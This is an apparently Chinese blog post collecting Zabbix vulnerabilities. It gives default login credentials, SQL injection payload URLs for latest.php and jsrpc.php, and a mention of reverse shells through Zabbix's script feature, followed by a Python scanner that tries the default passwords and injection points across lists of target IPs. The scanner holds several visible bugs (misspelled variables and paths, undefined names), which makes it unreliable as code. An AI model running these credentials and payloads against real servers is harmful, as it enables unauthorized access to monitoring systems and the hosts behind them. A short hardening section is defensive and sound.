Zabbix漏洞汇总

一、zabbix：

zabbix是监控是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数，保证服务器系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

二、Zabbix漏洞：

1、弱口令：

WeapPassword = [("admin","zabbix"),("Admin","zabbix"),("guest","")]

2、SQL注入

（1）

标题：latest.php处toogle_ids[]参数SQL注入

攻击条件：登陆后

危害：可获取系统权限

URL以及payload：

"""
http://a.b.c.d/latest.php?output=ajax&sid=登录后的sessionid的后16位&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
"""

（2）

标题：jsrpc.php处profileIdx2参数SQL注入

攻击条件：无需登录，亦可以登录后使用高权限的sid、cookie进行替换

危害：一般SQL注入危害

URL以及payload：

"""
http://a.b.c.d/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
"""

（3）

标题：其他SQL注入漏洞：chart_bar.php处itemid参数和periods参数SQL注入；httpmon.php处applications参数SQL注入

攻击条件：不详

危害：不详

URL以及payload：一般SQL注入payload尝试

3、OS命令注入执行：

（1）弱口令登录后，使用zabbix自带的Script执行系统命令可以反弹shell等等

（2）防御：

　　#不要设置AllowRoot=1，避免agent和server以root权限启动。

　　#进制agent执行system.run，不要设置EnableRemoteCommands=1。

    　#即使打补丁。

4、自己写的一个python检查脚本：有问题及时喷我

#!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
This Python Script Is For "Zabbix" VulnScan!
Author:ChenRan
Company:360.net
"""

# import lib files
import os
import sys
import time
import logging
import datetime
import requests
import threading
from bs4 import BeautifulSoup
from optparse import OptionParser

#global varites define
ZabbixTarget = None#target ip address!
ZabbixFile = None#target ip address file
BlackList = [
    'incorrect',
    '<!-- Login Form -->'
]

#global config set
logging.basicConfig(level=logging.INFO,format='%(message)s')

#global function defines:
def Config_Init():
    """
    Take "http://" to the ip address to create targeturl!
    """
    global ZabbixTarget
    global ZabbixFile
    if ZabbixTarget != None:
        target = "http://%s"%ZabbixTarget
        return [target]
    elif ZabbixFile != None:
        targetlist = []
        with open(ZabbixFile,"r") as fr:
            for ip in fr.readlines():
                ip = ip.split("
")[0].split("
")[0]
                target = "http://%s"%str(ip)
                targetlist.append(target)
        return targetlist
    else:
        return []

def get_post_data(page_content):
    """
    from response html get post data! 
    """
    postdata = {}
    soup = BeautifulSoup(page_content, "html.parser")
    for inputparameter in soup.find_all('input'):
        if 'value' in inputparameter.attrs and 'name' in inputparameter.attrs:
            postdata[inputparameter['name']] = inputparameter['value']
    return postdata
        
def report_file_allinone():
    vulnlist = []
    scantime = str(datetime.datetime.now())
    for parents,dirs,filenames in os.walk("./"):
        for filename in filenames:
            if filename.find("zabbix_vulnscan_result") >= 0:
                with open(filename,"r") as fr:
                    vulnlist.extend(fr.readlines())
                os.remove(filename)
    with open("zabbix_vuln_report_%s.csv"%str(datetime.date.today()),"w") as fw:
        fw.write("vuln-IP,Vuln-Type,Scan-Time
")
        for line in vulnlist:
            fw.write(line)
        
#Zabbix Scan Class Defines
class ZabbixScan:
    def __init__(self,targetlist):
        """
        #class column init!
        VulnExpPHPFile:
        //0-login-weakpassword
        //1-httpmon.php parameter->applicationos
        //2-chart_bar.php parameter->itemid
        //3-jsrpc.php parameter->profileIdx2
        //4-latest.php parameter->toggle_ids[]
        //5-OS_Injection->When you login the system you can run you scripts!
        TestTarget:
        //0-login-weakpassword
        //1-jsrpc.php
        //2-latest.php
        """
        self._weakpassword = [{"username":"Admin","password":"zabbix"},{"username":"admin","password":"zabbix"},{"username":"guest","password":""}] #default password directionary!
        self._targetlist = targetlist #wait for scan target!
        self._size = len(self._targetlist)#size of scan target!
        self._sqlinjectionurl1_vulnlist = []
        self._sqlinjectionurl2_vulnlist = []
        self._login_weakpassword_vulnlist = []
        self._login_weakpassword_safelist = []
        
    def __del__(self):
        del self._weakpassword
        del self._targetlist
        del self._size
        del self._sqlinjectionurl1_vulnlist
        del self._sqlinjectionurl2_vulnlist
        del self._login_weakpassword_vulnlist
        del self._login_weakpassword_safelist

    def __len__(self):
        """return size of targetlist"""
        return self._size
    
    def _scan_default_password_login(self):
        for authinfo in self._weakpassword:
            user = authinfo["username"]
            pswd = authinfo["password"]
            for target in self._targetlist:
                logging.info("[*] Target:%s Payload:%s"%(str(target),str(authinfo)))
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
                }
                request = requests.session()
                try:
                    response = request.get(target,headers=headers,timeout=3)
                except Exception,ex:
                    self._login_weakpassword_safelist.append(target)
                    continue
                if response.status_code != 200:
                    self._login_weakpassword_safelist.append(target)
                    continue
                postdata = get_post_data(response.content)
                headers["Referer"]=target
                postdata["user"] = user
                postdata["password"] = pswd
                try:
                    response = request.post(target+"/index.php",headers=headers,data=postdata,timeout=3)
                except Exception,ex:
                    self._login_weakpassword_safelist.append(target)
                    continue
                if "chkbxRange.init();" in response.content:
                    for flagstring in BlackList:
                        if flagstring in response.content:
                            self._login_weakpassword_safelist.append(target)
                    self._login_weakpassword_vulnlist.append((target,user,pswd))
                else:
                    self._login_weakpassword_safelist.append(target)
                request.close()
    
    def _sqlinjectionurl1_scan(self):
        logging.info("[*] latest.php sqlinjection scan!")
        for vulntarget in self._login_weakpassword_vulnlist:
            target = vulntarget[0]
            user = vulntarget[1]
            pswd = vulntarget[2]
            request = requests.session()
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
            }
            try:
                response = request.get(target,headers=headers,timeout=3)
            except Exception,ex:
                continue
            postdata = get_post_data(response.content)
            postdata["user"] = user
            postdata["password"] = pswd
            headers["Referer"]=target
            try:
                response = request.post(target+"/infex.php",headers=headers,data=postdata,timeout=3)
            except Exception,ex:
                continue
            sessionid = response.cookie.values()[0][-16:]
            scanurl = target +"/latest.php?output=ajax&sid=%s&favobj=toggle&toggle_open_state=1&toggle_ids[]=1%^&*%22%27()-*#"%str(sessionid)
            try:
                response = request.get(scanurl,timeout=20)
            except Exception,ex:
                continue
            if "SQL syntax" in repsonse:
                self._sqlinjectionurl1_vulnlist.append(vulntarget)
            else:
                request.close()
            
    def _sqlinjectionurl2_scan(self):
        logging.info("[*] jsrpc.php sqlinjection scan!")
        for vulntarget in self._targetlist:
            scanurl = vulntarget + "/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17"
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0',
            }
            try:
                response = request.get(url,headers=headers,timeout=20)
            except Exception,ex:
                continue
            if "ed733b8d10be255eceba344d533586" in response.content:
                self._sqlinjectionurl2_vulnlist.append(vulntarget)
            else:
                pass
    
    def scan_run(self):
        self._scan_default_password_login()
        self._sqlinjectionurl1_scan()
        self._sqlinjectionurl2_scan()
    
class scanthread(threading.Thread):
    def __init__(self,threadname,targetlist):
        threading.Thread.__init__(self,name=threadname)
        self.scanner = ZabbixScan(targetlist)
        self.name = threadname
        self.targetlist = targetlist
    def _create_csv(self):
        scantime = str(datetime.datetime.now())
        with open("zabbix_vulnscan_result_%s_%s"%(str(time.time()),str(self.name)),"w") as fw:
            for vuln in self.scanner._login_weakpassword_vulnlist:
                target = vuln[0].split("http://")[-1]
                vulntype = "weakpassword"
                vulnstring = "%s,%s,%s
"%(str(target),vulntype,scantime)
                fw.write(vulnstring)
            for vuln in self.scanner._sqlinjectionurl1_vulnlist:
                target = vuln[0].split("http://")[-1]
                vulntype = "latest.php-SQLI"
                vulnstring = "%s,%s,%s
"%(str(target),vulntype,scantime)
                fw.write(vulnstring)
            for vuln in self.scanner._sqlinjectionurl1_vulnlist:
                target = target.split("http://")[-1]
                vulntype = "jsrpc.php-SQLI"
                vulnstring = "%s,%s,%s
"%(str(target),vulntype,scantime)
                fw.write(vulnstring)
    def run(self):
        #logging.info("[*] %s running!"%self.name)
        #logging.info("[*] %s MyTarget:%s"%(str(self.name),str(self.targetlist)))
        self.scanner.scan_run()
        self._create_csv()
        #logging.info("[*] %s finished!"%self.name)

if __name__ == "__main__":
    logging.info("[+]*****************************************************************[+]")
    logging.info("Zabbix Scan Init!")
    parser = OptionParser() 
    parser.add_option("-i","--iptarget",dest="iptarget",help="Target IP address!")
    parser.add_option("-f","--iptargetfile",dest="iptargetfile",help="Target IPs file!")
    parser.add_option("-t","--threadnum",dest="threadnum",help="Number of Added Threads to Scan!")
    (options, args) = parser.parse_args()
    parameterchecklist = [options.iptarget,options.iptargetfile]
    if parameterchecklist in [[None,None],[None,""],["",None],["",""]]:
        logging.error("[-] Target parameters error!")
        exit(0)
    try:
        options.threadnum = 1 if options.threadnum == None or options.threadnum == "" else int(options.threadnum)
    except Exception,ex:
        logging.error("[-] Threadnum parameter error!")
        exit(0)
    [ZabbixTarget,ZabbixFile] = parameterchecklist 
    logging.info("[+] Scan Config Init!")
    targetlist = Config_Init()
    targetsize = len(targetlist)
    logging.info("[+] Scan Target Number:%s"%str(targetsize))
    logging.info("[+] Scan Threads Init")
    threadtargetsize = targetsize/options.threadnum
    devidestart = 0
    devideend = threadtargetsize
    threadlist = []
    nameflag = 0
    while True:
        threadname = "scan-thread-%s"%str(nameflag)
        nameflag += 1
        if devideend < targetsize:
            threadtargetlist = targetlist[devidestart:devideend]
            threadlist.append(scanthread(threadname,threadtargetlist))
            devidestart += threadtargetsize
            devideend += threadtargetsize
        elif devidestart <= targetsize:
            threadtargetlist = targetlist[devidestart:]
            threadlist.append(scanthread(threadname,threadtargetlist))
            devidestart += threadtargetsize
            devideend += threadtargetsize
        else:
            break
        
    logging.info("[+] Scan Thread Start!")
    for thread in threadlist:
        thread.start()
        time.sleep(2)
        logging.info("[+] %s --Start!"%thread.name)
    for thread in threadlist:
        thread.join()
    logging.info("[+] Scan Finished!")
    logging.info("[+] Report Creating!")
    report_file_allinone()
    logging.info("[+] Report Create!")
    exit(0)